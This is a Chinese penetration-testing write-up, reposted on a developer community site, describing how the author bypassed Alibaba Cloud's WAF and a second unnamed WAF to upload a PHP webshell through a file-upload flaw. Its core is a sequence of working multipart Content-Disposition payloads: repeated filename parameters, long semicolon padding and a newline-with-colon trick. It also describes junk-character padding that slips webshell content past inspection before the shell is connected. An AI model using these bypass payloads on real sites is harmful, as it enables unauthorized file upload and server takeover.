
## 0x00：前情提要

某次项目遇到一个站点，发现后台存在任意文件上传，简单探测一下，发现是阿里云waf。
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/f0c41340fa93b3c8fed31a0a92d0e5fd.webp)
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/4bce3dbcb7e9b5813e6c58d0d18b198c.webp)
那必须开绕了
## 0x01：fuzz

之前没有过对*里云waf的上传绕过，所以要从头开始，按流程来。
先来个大部分waf通杀的绕过，大包绕过，结果数据量太大直接无响应，寄
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/3d68ff2f672682a5b4522ba734271032.webp)
尝试单双引号绕过，失败
复写filename，失败
换行绕过，失败
修改boundary，失败
文件名fuzz，失败
.....尝试多次均无果
## 0x02：柳暗花明

前几天看见一个姿势拿来试一试。
`Content-Disposition: form-data; name="aaa"; ;filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.php"`
发现最终传上去的是个txt，显然最后的php并没有生效，有效的filename必须是在分号后的filename，所以其实上述payload和下面的payload是等价的，只有第一个filename被接口有效识别了。
`Content-Disposition: form-data; name="aaa";filename="a.txt"`
但是值得注意的是，此payload成功绕过了waf的检测，虽然最终没有上传php文件，但是可能有戏。（由于接口已经没了，所以这里显示404，但是确实绕过了waf）
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/37e1341dff5442c6d1956cacc3dbba1f.webp)
由于前面我们研究过，只有分号后跟的filename才是有效的filename，所以尝试让前面的filename失效，让最后一个filename生效，构造payload如下
`Content-Disposition: form-data; name="aaa";,filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";`
果然还是被拦截了。
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/353fbdd24d4867af08fb8731cd16a24b.webp)
但是或许可以根据这个payload继续展开一下。
在fuzz的时候还发现这个网站还有一个比较奇怪的地方，就是当filename中的文件名被换行分割的时候，最后一行加入冒号，如下
`Content-Disposition: form-data; name="head_portrait";filename="a.p hp":`
就会将.p作为文件后缀上传
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/7c0e9ac68d201cec67f53c639b22d8c9.webp)
但是不加这个冒号的话，就会被waf拦截
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/3a6786c7b16785141b0f3987cbc0645d.webp)
那结合上面的假filename绕过试一试呢
`Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";`
确实不是405了，但是为什么返回变成了502，难道还有高手？
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/03e55be508335afc8e0644194633c4a6.webp) 将php更换为txt，发现可以正常使用，并不是语法有问题，所以很可能还有个什么waf，难道是百年难遇的双waf出现了？
`Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.txt";`
目前看起来没有阿里云waf报错，应该是已经绕过阿里云了，看来想办法绕过502这个就可以了。
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/cdc63be0611dd60dcf1f0be8bcb68d03.webp) 多次测试后，发现只要多加几个无效的filename即可绕过502这个waf `Content-Disposition: form-data; name="aaa";,filename="a.t xt":,filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";` 到此成功绕过双waf上传php文件，
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/0bc2382e723980ffefecf9e1fc60f9c2.webp)
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/2f205aa0504bf8f368fb5af2e797234c.webp) 紧接着新的问题出现了，阿里云waf不只拦截filename，它还会拦截文件内容。
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/aaaf01cb1a60c2a6ce6536e6f97a24a6.webp)
又来
由于阿里云waf对php脚本内容极其敏感，所以单纯从webshell本身来说是很难绕过的，所以我们需要用一些旁门左道进行绕过，比如垃圾字符，没有塞多少垃圾字符便成功绕过。
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/5d32d35d914b01f9e4f4e2bad9bac82f.webp) 好景不长，尝试了一些webshell，竟然还是被拦截...
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/bee6fd04bd1280cff14c8a01ee98e43c.webp) 掏出大宝贝多试几个
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/40d25350a5d8fa7f15874279005a4b58.webp) 好险有个能用的
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/2c9a360aba284dd175cbfde6ef4f6a5b.webp) 接下来直接连接即可，开梭
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/78a978e7201c7c6938906c022413ab2f.webp)
![image](https://developer.qcloudimg.com/http-save/yehe-8600665/6c5c154250423b04af6ae91fe6ea10ac.png)
**亿人安全**
知其黑，守其白。手握利剑，心系安全。主要研究方向包括：Web、内网、红蓝对抗、代码审计、安卓逆向、CTF。
186篇原创内容
公众号

某次项目遇到一个站点，发现后台存在任意文件上传，简单探测一下，发现是阿里云waf。那必须开绕了

记一次绕过某里云waf与某不知名waf的双waf上传getshell

本文记录了一次绕过某里云waf与某不知名waf的双waf上传getshell

安全工程师

人工智能

探索阿里云WAF绕过技术：通过重复filename参数和特殊符号构造成功实现文件上传漏洞利用，突破双WAF防护机制，最终上传PHP文件并绕过内容检测。

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云AI代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

功能1上新10个字符

功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符。

功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符。

功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符

功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符

功能4上新

文章&问答评论现已支持表情

全新交互，全新视觉，新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能，全面提升创作效率和体验

社区富文本编辑器全新改版！诚邀体验～ 

精选全网热门MCP server，让你的AI更好用 🚀

💥开发者 MCP广场重磅上线！

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

记一次绕过某里云waf与某不知名waf的双waf上传getshell-腾讯云开发者社区-腾讯云

记一次绕过某里云waf与某不知名waf的双waf上传getshell

记一次绕过某里云waf与某不知名waf的双waf上传getshell

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐